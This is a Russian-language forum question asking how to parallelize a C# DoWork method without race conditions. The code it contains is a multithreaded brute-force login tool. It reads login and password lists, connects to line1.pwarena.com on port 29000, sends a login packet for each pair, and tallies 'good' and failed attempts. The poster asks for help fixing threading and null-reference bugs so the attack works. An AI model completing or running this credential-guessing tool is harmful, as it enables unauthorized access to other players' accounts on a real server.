Как правильно распараллелить выполнение DoWork, чтобы не было взаимоисключающих ситуаций

list_log = new StreamReader(log_file.Text);
            list_pass = new StreamReader(pass_file.Text);
            flag = true;
            if (!list_pass.EndOfStream && !list_log.EndOfStream)
            {
                for (int i = 0; i < (int)count_threads.Value; i++)
                {
                    thread.Add(new Thread(DoWork)); // thread - список типа Thread
                    thread[i].IsBackground = true;
                    thread[i].Start();
                }
            }

private void DoWork()
        {
            string log = "";
            string pass;
            byte[] buf = new byte[1024];
            byte[] sx02 = new byte[64];
            byte[] s_res = new byte[64];
            bool end_log;
            bool end_pass;
            end_log = list_log.EndOfStream;
            end_pass = list_pass.EndOfStream;
            while (!end_log || !end_pass)
            {
                TcpClient client = new TcpClient();
                client.Client.Connect("line1.pwarena.com", 29000);
                if (end_pass)
                {
                    flag = true;
                    list_pass.BaseStream.Seek(0, SeekOrigin.Begin);
                }
 
                if (flag)
                {
                    flag = false;
                    log = list_log.ReadLine();
                }
                pass = list_pass.ReadLine();
                client.Client.Receive(buf);
                byte[] send03 = Packet_C03.Create(buf, log, pass);
                client.Client.Send(send03);
                client.Client.Receive(sx02);
                if (sx02[0] == 0x02)
                {
                    IncGood(1); // увеличение значения текстбокса, через Invoke
                }
                else
                {
                    IncFail(1); // тоже через Invoke.
                }
                client.Client.Disconnect(false);
                client.Close();
                end_log = list_log.EndOfStream;
                end_pass = list_pass.EndOfStream;
            }
        }

...
byte[] send03 = Packet_C03.Create(buf, log_pass[0, i], log_pass[1, i]); // эта строка в теле потока, ссылается на метод Create,
// а сама ошибка выскакиеват в классе на строке:  byte[] bPass = Encoding.ASCII.GetBytes(pass);, 
// заголовок класса public static byte[] Create(byte[] S01, string log, string pass)
...

...
for (int i = 0; i < log_pass.GetLength(1); i++)
            {
                client.Client.Connect(".........", ......); // В экземпляре объекта не задана ссылка на объект,
// и кстати тоже вылетает не сразу, а проработав несколько успешных итераций.
...